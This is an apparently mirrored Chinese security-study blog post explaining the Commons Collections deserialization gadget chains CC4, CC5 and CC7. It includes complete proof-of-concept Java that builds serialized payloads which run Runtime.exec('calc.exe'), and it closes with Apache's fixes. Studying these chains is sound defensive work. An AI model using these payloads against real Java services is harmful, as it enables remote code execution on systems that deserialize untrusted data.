2

Java安全之CC4,5,7 - gk0d

 1 year ago
source link: https://www.cnblogs.com/gk0d/p/16886697.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前言#

前边已经将CC链中的关键部分学习差不多,接下来就是一些扩展思路,

CC4#

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses.newInstance()
                                            Runtime.exec()

cc4也没什么新的东西,实际上算是cc2和cc3的杂交体。其中的类前边都已经学过了。

CC5#

/*
    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
    Requires:
        commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */

cc5的后半段与cc1相同,在cc1中说了,这里只要调用LazyMap#get并且传递任意内容即可触发后续的链达到rce的目的。

在cc5中用到的是TiedMapEntry中的toString方法:

public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

跟进getValue方法:

 public V getValue() {
        return this.map.get(this.key);
    }

可以发现这里对this.map调用了get方法,并将key传递进去,所以这里只需要令map为我们前面构造好的LazyMap,即可触发rce

image-20221113180151789

map以及key都是我们可控的,构造POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.util.HashMap;

public class cc5 {
    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc。exe"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        tiedmap.toString();
    }
}

image-20221113180531912

接下来我们需要找哪里调用了toString方法,在cc5中使用了BadAttributeValueExpException这个类

BadAttributeValueExpException#readObject:

image-20221113181105907

看看这个valObj是从哪里来的:

image-20221113181243043

这里是从Filed中取出来的,那么利用方式也就很清晰了,通过反射来设置BadAttributeValueExpException中val的值为TiedMapEntry即可触发命令执行

那为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值?

以下为BadAttributeValueExpException的构造方法:

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

如果我们直接将前面构造好的TiedMapEntry传进去,在这里就会触发toString,从而导致rce。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发rce的前提,将val设置为构造好的TiedMapEntry。否则就会报出下边的错误

image-20221113182154732
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc.exe"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

CC7#

/* Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

cc7后半段与cc1相同,前半段(如何触发LazyMap#get)不同

在cc1中是通过AnnotationInvocationHandler#invoke来触发对恶意代理handler调用其invoke方法从而触发LazyMap#get方法。

而cc7中是通过AbstractMap#equals来触发对LazyMap#get方法的调用

image-20221113183401186

如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发

先寻找调用equals方法的点,cc7中使用了HashTable#reconstitutionPut

image-20221113183550735

这里的key如果是我们可控的,那么m就是我们可控的,接着在HashTable#readObject中调用了reconstitutionPut方法,并将key传递进去

image-20221113183645149

接下来就是看如何对参数进行控制的问题了。

readObject方法中传递进去的key,是使用readObject得到的,那么在writeObject处,也必然会有:

image-20221113183742054

里传递的实际上就是HashTable#put时添加进去的key和value

POC如下

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{"calc.exe"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
    }
}

为什么要调用两次put?

image-20221113190738005

在第一次调用reconstitutionPut时,会把key和value注册进table中

image-20221113190714021

此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。

为什么调用的两次put其中map中key的值分别为yy和zZ?

image-20221113190912300

箭头指向的index要求两次都一样,否则无法获取到上一次的结果,再看看index是哪里来的,

这里index的计算方式关键是hash,而hash是通过key.hashCode得来的,在java中有一个小bug:

"yy".hashCode() == "zZ".hashCode()

所以这里我们需要将map中put的值设置为yy和zZ,使两次计算的index都一样,才能够进入到for循环中

为什么在调用完HashTable#put之后,还需要在map2中remove掉yy?

这是因为HashTable#put实际上也会调用到equals方法,会影响我们的判断。

小结#

学完CC1-CC7之后,可以得出如下结论,cc的链大抵分为三段:

  • readObject触发
  • 调用transform方法
  • 触发后续链达到rce的目的

版本相关

  • 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
  • 2、4是Commons Collections 4.0以上中存在的反序列化链。
  • 同时还对JDK的版本有要求,我使用的测试版本为1.7和1.8。

修复#

顺便看看官方是怎么修复漏洞的,Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.13.2.2

先看3.2.2,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常。 这个检查在常⻅的危险Transformer类( InstantiateTransformer 、 InvokerTransformer 、 PrototypeFactory 、 CloneTransforme r 等的readObject⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is
disabled for security reasons. To enable it set system property
'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure
that your application does not de-serialize objects from untrusted sources

再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就 是说,他们⼏个彻底⽆法序列化和反序列化了


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK